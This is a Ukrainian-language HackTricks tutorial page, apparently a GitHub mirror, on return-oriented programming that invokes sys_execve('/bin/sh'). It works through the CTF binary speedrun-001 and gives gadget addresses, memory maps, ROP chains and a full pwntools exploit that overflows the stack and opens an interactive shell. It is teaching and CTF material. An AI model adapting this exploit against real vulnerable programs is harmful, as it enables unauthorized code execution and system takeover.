mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
179 lines
7.2 KiB
Markdown
179 lines
7.2 KiB
Markdown
# ROP - виклик sys\_execve
|
||
|
||
<details>
|
||
|
||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Інші способи підтримки HackTricks:
|
||
|
||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||
|
||
</details>
|
||
|
||
Для підготовки виклику **syscall** потрібна наступна конфігурація:
|
||
|
||
* `rax: 59 Вказує sys_execve`
|
||
* `rdi: вказівник на "/bin/sh" вказує файл для виконання`
|
||
* `rsi: 0 вказує, що аргументи не передаються`
|
||
* `rdx: 0 вказує, що змінні середовища не передаються`
|
||
|
||
Отже, в основному потрібно записати рядок `/bin/sh` десь і потім виконати `syscall` (з урахуванням необхідного вирівнювання для управління стеком).
|
||
|
||
## Керування регістрами
|
||
|
||
Давайте почнемо з пошуку **як керувати цими регістрами**:
|
||
```c
|
||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||
0x0000000000415664 : pop rax ; ret
|
||
0x0000000000400686 : pop rdi ; ret
|
||
0x00000000004101f3 : pop rsi ; ret
|
||
0x00000000004498b5 : pop rdx ; ret
|
||
```
|
||
З цими адресами можливо **записати вміст у стек та завантажити його в регістри**.
|
||
|
||
## Записати рядок
|
||
|
||
### Записувальна пам'ять
|
||
|
||
Спочатку потрібно знайти місце для запису в пам'яті
|
||
```bash
|
||
gef> vmmap
|
||
[ Legend: Code | Heap | Stack ]
|
||
Start End Offset Perm Path
|
||
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||
```
|
||
### Запис рядка
|
||
|
||
Потім вам потрібно знайти спосіб записати довільний вміст за цією адресою
|
||
```python
|
||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||
```
|
||
#### 32 біти
|
||
```python
|
||
'''
|
||
Lets write "/bin/sh" to 0x6b6000
|
||
|
||
pop rdx, 0x2f62696e2f736800
|
||
pop rax, 0x6b6000
|
||
mov qword ptr [rax], rdx
|
||
'''
|
||
|
||
rop += popRdx # place value into EAX
|
||
rop += "/bin" # 4 bytes at a time
|
||
rop += popRax # place value into edx
|
||
rop += p32(0x6b6000) # Writable memory
|
||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||
|
||
rop += popRdx
|
||
rop += "//sh"
|
||
rop += popRax
|
||
rop += p32(0x6b6000 + 4)
|
||
rop += writeGadget
|
||
```
|
||
#### 64 біти
|
||
```python
|
||
'''
|
||
Lets write "/bin/sh" to 0x6b6000
|
||
|
||
pop rdx, 0x2f62696e2f736800
|
||
pop rax, 0x6b6000
|
||
mov qword ptr [rax], rdx
|
||
'''
|
||
rop = ''
|
||
rop += popRdx
|
||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||
rop += popRax
|
||
rop += p64(0x6b6000) # Writable memory
|
||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||
```
|
||
## Приклад
|
||
```python
|
||
from pwn import *
|
||
|
||
target = process('./speedrun-001')
|
||
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
||
|
||
# Establish our ROP Gadgets
|
||
popRax = p64(0x415664)
|
||
popRdi = p64(0x400686)
|
||
popRsi = p64(0x4101f3)
|
||
popRdx = p64(0x4498b5)
|
||
|
||
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||
writeGadget = p64(0x48d251)
|
||
|
||
# Our syscall gadget
|
||
syscall = p64(0x40129c)
|
||
|
||
'''
|
||
Here is the assembly equivalent for these blocks
|
||
write "/bin/sh" to 0x6b6000
|
||
|
||
pop rdx, 0x2f62696e2f736800
|
||
pop rax, 0x6b6000
|
||
mov qword ptr [rax], rdx
|
||
'''
|
||
rop = ''
|
||
rop += popRdx
|
||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||
rop += popRax
|
||
rop += p64(0x6b6000)
|
||
rop += writeGadget
|
||
|
||
'''
|
||
Prep the four registers with their arguments, and make the syscall
|
||
|
||
pop rax, 0x3b
|
||
pop rdi, 0x6b6000
|
||
pop rsi, 0x0
|
||
pop rdx, 0x0
|
||
|
||
syscall
|
||
'''
|
||
|
||
rop += popRax
|
||
rop += p64(0x3b)
|
||
|
||
rop += popRdi
|
||
rop += p64(0x6b6000)
|
||
|
||
rop += popRsi
|
||
rop += p64(0)
|
||
rop += popRdx
|
||
rop += p64(0)
|
||
|
||
rop += syscall
|
||
|
||
|
||
# Add the padding to the saved return address
|
||
payload = "0"*0x408 + rop
|
||
|
||
# Send the payload, drop to an interactive shell to use our new shell
|
||
target.sendline(payload)
|
||
|
||
target.interactive()
|
||
```
|
||
## Посилання
|
||
|
||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Інші способи підтримки HackTricks:
|
||
|
||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||
|
||
</details>
|